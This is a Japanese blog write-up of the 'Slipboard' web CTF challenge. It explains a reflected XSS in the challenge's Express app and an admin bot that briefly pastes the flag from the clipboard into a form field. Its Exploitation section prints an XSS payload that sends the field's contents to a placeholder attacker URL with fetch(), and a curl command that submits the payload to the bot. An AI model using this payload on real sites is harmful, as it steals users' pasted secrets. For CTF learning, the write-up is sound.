Post

FEAT:🚩 Daily-AlpacaHack 「Slipboard」Hard

コーディングミスと反射型XSS

FEAT:🚩 Daily-AlpacaHack 「Slipboard」Hard

20260530-daily_alpaca-web-hard-Slipboard

  • Category: Web
  • Description: 間違ってコピペしちゃったけど、すぐ消したから大丈夫!
  • Tech Stack: Javascript, Puppeteer
  • Keyword: Reflected_XSS, Clipboard, Admin Bot
  • Flag: {*** REDACTED ***}

階層構造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.
├── bot
│   ├── bot.js
│   ├── Dockerfile
│   ├── index.js
│   ├── package.json
│   ├── package-lock.json
│   └── views
│       └── index.ejs
├── compose.yaml
└── web
    ├── Dockerfile
    ├── index.js
    ├── package.json
    └── package-lock.json

4 directories, 11 files

Solution Path

エスケープ処理の不足による Reflected_XSS

/ に対してクエリパラメータで指定した文字列が `` に置換されます. エスケープ処理がされておらず,セキュリティヘッダーも未設定 なため,任意のJSを実行することのできる Reflected XSS が存在します.

web/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//...
const html = `
<!DOCTYPE html>
<html>
  <body>
    <form action="/submit" method="post">
      <input id="input" name="name" type="text">
      <input id="submit" type="submit" value="OK">
    </form>
    
  </body>
</html>
`;

app.get("/", async (req, res) => {
  const page = html.replace('', req.query.q || '');
  res.send(page);
});
//...

機密情報漏洩に繋がるコーディングミス

Report to Admin Bot のフォームに入力した pathAPP_URL が結合され,visit() に渡されます.

bot/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//...
app.post("/api/report", async (req, res) => {
  const { path } = req.body;
  if (typeof path !== "string") {
    return res.status(400).send("Invalid path");
  }
  const url = APP_URL + path;

  try {
    await visit(url);
    return res.send("OK");
  } catch (e) {
    console.error(e);
    return res.status(500).send("Something wrong");
  }
});
//...

visit() では,渡された url に対して Headless Chromium を使用してボットを動作させます.

BOTの動作

  1. Flag が含まれる機密情報を,クリップボードにコピー
  2. page.goto(url, { timeout: 3_000 }); で,渡された url にアクセス
  3. url にある #input が付与されたタグの要素に対して,‘間違えて’ 機密情報をペースト
  4. ミスで張り付けられた機密情報を全削除
  5. ボットが入力した文字列と比較して,入力フォームの値が改竄されていないかをチェックし,されていなければ確定
  6. ページを閉じて処理終了

bot/bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//...
export const visit = async (url) => {
  console.log(`Start visiting: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    pipe: true,
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    // Copy the credentials into the clipboard.
    const page = await context.newPage();
    await page.goto('data:text/html, <html><body><p id="draft" contenteditable>');
    await page.type("#draft", FLAG);
    await page.keyboard.down("Control");
    await page.keyboard.press("A");
    await page.keyboard.press("C");
    await page.keyboard.up("Control");
    await page.close();
  } catch (e) {
    console.error(e);
  }

  try {
    const page = await context.newPage();
    await page.goto(url, { timeout: 3_000 });
    await sleep(1_000);

    await page.focus("#input");
    await page.keyboard.down("Control");
    await page.keyboard.press("V"); // Oops, no, I've accidentally pasted that!
    await page.keyboard.up("Control");

    await page.keyboard.down("Control");
    await page.keyboard.press("A");
    await page.keyboard.up("Control");
    await page.keyboard.press("Backspace"); // ... but deleted it immediately ;-)

    await page.keyboard.type(INPUT_TEXT);
    const data = await page.$eval("#input", ({ value }) => value);
    // We should double-check that it is the intended text.
    if (data === INPUT_TEXT) {
      await page.click("#submit");
    }

    await sleep(1_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`End visiting: ${url}`);
};
//...

Exploitation

一度,Flag を含む機密情報が #input にペーストされるのであれば,最初に見つけた反射型XSSと組み合わせることで,自身のサーバに対して機密情報を漏洩させることが可能です. ペイロードをURLエンコードし,/api/report に対してポストします.

Payload

1
2
3
4
5
6
7
8
9
10
<script>
  const input = document.getElementById('input');
  input.addEventListener('input', (e) => {
    const flag = e.target.value;
    fetch(`<ATTACKER_URL>/?flag=${encodeURIComponent(flag)}`);
  });
</script>

// ワンライナー
<script>const input = document.getElementById('input');input.addEventListener('input', (e) => {const flag = e.target.value;fetch(`<ATTACKER_URL>/?flag=${encodeURIComponent(flag)}`);});</script>
1
2
3
4
5
$ curl -X POST http://<ip>:<port>/api/report \
     -H "Content-Type: application/json" \
     -d '{
       "path": "?q=<URL_ENCODED_PAYLOAD>"}'
OK

入力されるごとに複数回サーバにアクセスがされ,結果的に Flag を含むクエリ文字列が飛んできました.


Post-Mortem & Dead ends

References

This post is licensed under CC BY 4.0 by the author.